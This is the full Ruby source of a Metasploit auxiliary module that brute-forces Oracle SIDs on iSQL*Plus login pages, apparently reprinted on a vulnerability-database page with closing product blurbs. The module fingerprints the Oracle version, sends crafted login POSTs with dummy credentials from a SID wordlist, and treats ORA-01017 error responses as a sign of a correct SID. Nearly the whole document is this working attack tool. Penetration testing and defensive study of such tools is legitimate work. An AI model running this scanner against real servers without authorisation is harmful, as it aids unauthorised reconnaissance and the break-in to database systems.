`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Oracle iSQLPlus SID Check',
'Description' => %q{
This module attempts to bruteforce the SID on the Oracle application server iSQL*Plus
login pages. It does this by testing Oracle error responses returned in the HTTP response.
Incorrect username/pass with a correct SID will produce an Oracle ORA-01017 error.
Works against Oracle 9.2, 10.1 & 10.2 iSQL*Plus. This module will attempt to
fingerprint the version and automatically select the correct POST request.
},
'References' =>
[
[ 'URL', 'https://blog.carnal0wnage.com/' ],
],
'Author' => [ 'CG', 'todb' ],
'License' => MSF_LICENSE
)
register_options([
Opt::RPORT(5560),
OptString.new('URI', [ true, 'Oracle iSQLPlus path', '/isqlplus/']),
OptString.new('SID', [ false, 'A single SID to test']),
OptPath.new('SIDFILE', [ false, 'A file containing a list of SIDs', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]),
OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 30])
])
deregister_options(
"RHOST", "USERNAME", "PASSWORD", "USER_FILE", "PASS_FILE", "USERPASS_FILE",
"BLANK_PASSWORDS", "USER_AS_PASS", "REMOVE_USER_FILE", "REMOVE_PASS_FILE",
"BRUTEFORCE_SPEED" # Slow as heck anyway
)
end
def sid_file
datastore['SIDFILE']
end
def hostport
[target_host,rport].join(":")
end
def uri
datastore['URI'] || "/isqlplus/"
end
def timeout
(datastore['TIMEOUT'] || 30).to_i
end
def msg
msg = "#{hostport} - Oracle iSQL*Plus -"
end
def run_host(ip)
oracle_ver = get_oracle_version(ip)
if not check_oracle_version(oracle_ver)
print_error "#{msg} Unknown Oracle version, skipping."
return
end
begin
print_status("#{msg} Starting SID check")
sid_data.each do |sid|
guess = check_oracle_sid(ip,oracle_ver,sid)
return if guess and datastore['STOP_ON_SUCCESS']
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error "#{msg} Cannot connect"
rescue ::Timeout::Error, ::Errno::EPIPE,Errno::ECONNRESET => e
print_error e.message
end
end
def get_oracle_version(ip)
begin
res = send_request_cgi({
'version' => '1.1',
'uri' => uri,
'method' => 'GET',
}, timeout)
oracle_ver = nil
if (res.nil?)
print_error("#{msg} no response")
elsif (res.code == 200)
print_status("#{msg} Received an HTTP #{res.code}")
oracle_ver = detect_oracle_version(res)
elsif (res.code == 404)
print_error("#{msg} Received an HTTP 404, check URIPATH")
elsif (res.code == 302)
print_error("#{msg} Received an HTTP 302 to #{res.headers['Location']}")
else
print_error("#{msg} Received an HTTP #{res.code}")
end
return oracle_ver
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error "#{msg} Cannot connect"
end
end
def detect_oracle_version(res)
m = res.body.match(/iSQL\*Plus Release (9\.0|9\.1|9\.2|10\.1|10\.2)/)
oracle_ver = nil
oracle_ver = 10 if m[1] && m[1] =~ /10/
oracle_ver = m[1].to_f if m[1] && m[1] =~ /9\.[012]/
if oracle_ver
print_status("#{msg} Detected Oracle version #{oracle_ver}")
print_status("#{msg} SID detection for iSQL*Plus 10.1 may be unreliable") if oracle_ver == 10.1
else
print_error("#{msg} Unknown Oracle version detected.")
end
return oracle_ver
end
def check_oracle_version(ver)
[9.0,9.1,9.2,10].include? ver
end
def build_post_request(ver,sid)
post_request = nil
case ver
when 9.0
post_request = "action=logon&sqlcmd=&sqlparms=&username=scott&password=tiger&sid=#{sid.strip}&privilege=&Log+In=%B5%C7%C2%BC"
when 9.1
post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login"
when 9.2
post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login"
when 10
post_request = "username=a&password=a&connectID=#{sid.strip}&report=&script=&dynamic=&type=&action=&variables=&event=login"
end
return post_request
end
def parse_isqlplus_response(res,sid)
guess = false
if (res.nil?)
print_error("#{msg} No response")
elsif (res.code == 200)
if (res.body =~ /ORA-01017:/ or res.body =~ /ORA-28273:/)
if sid.nil? || sid.empty?
print_good("#{msg} Received ORA-01017 on a blank SID -- SIDs are not enforced upon login.")
else
print_good("#{msg} Received ORA-01017, probable correct SID '#{sid.strip}'")
end
guess = true
elsif (res.body =~ /(ORA-12170):/ or res.body =~ /(ORA-12154):/ or res.body =~ /(ORA-12162):/)
vprint_status("#{msg} Incorrect SID: '#{sid.strip}' (got error code #{$1})")
elsif res.body =~ /(ORA-12541):/
print_status("#{msg} Possible correct SID, but got ORA-12541: No Listener error.")
guess = true
else
print_status("#{msg} Received an unknown error") # Should say what the error was
end
elsif (res.code == 404)
print_status("#{msg} Received an HTTP 404, check URIPATH")
elsif (res.code == 302)
print_status("#{msg} Received an HTTP 302 redirect to #{res.headers['Location']}")
else
print_status("#{msg} Received an unexpected response: #{res.code}")
end
report_isqlplus_service(target_host,res) if res
return guess
end
def report_isqlplus_service(ip,res)
sname = datastore['SSL'] ? 'https' : 'http'
report_service(
:host => ip,
:proto => 'tcp',
:port => rport,
:name => sname,
:info => res.headers["Server"].to_s.strip
)
end
def report_oracle_sid(ip,sid)
report_note(
:host => ip,
:proto => 'tcp',
:port => rport,
:type => "oracle.sid",
:data => ((sid.nil? || sid.empty?) ? "*BLANK*" : sid),
:update => :unique_data
)
end
def sid_data
if datastore['SID'] and not datastore['SID'].empty?
[datastore['SID']]
elsif sid_file and ::File.readable? sid_file
::File.open(sid_file,"rb") {|f| f.read f.stat.size}.each_line.map {|x| x.strip.upcase}.uniq
else
raise ArugmentError, "Cannot read file '#{sid_file}'"
end
end
def check_oracle_sid(ip,oracle_ver,sid)
post_request = build_post_request(oracle_ver,sid)
vprint_status "#{msg} Trying SID '#{sid}', waiting for response..."
res = send_request_cgi({
'version' => '1.1',
'uri' => uri,
'method' => 'POST',
'data' => post_request,
'headers' =>
{
'Referer' => "http://#{ip}:#{rport}#{uri}"
}
}, timeout)
guess = parse_isqlplus_response(res,sid)
report_oracle_sid(ip,sid) if guess
return guess
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation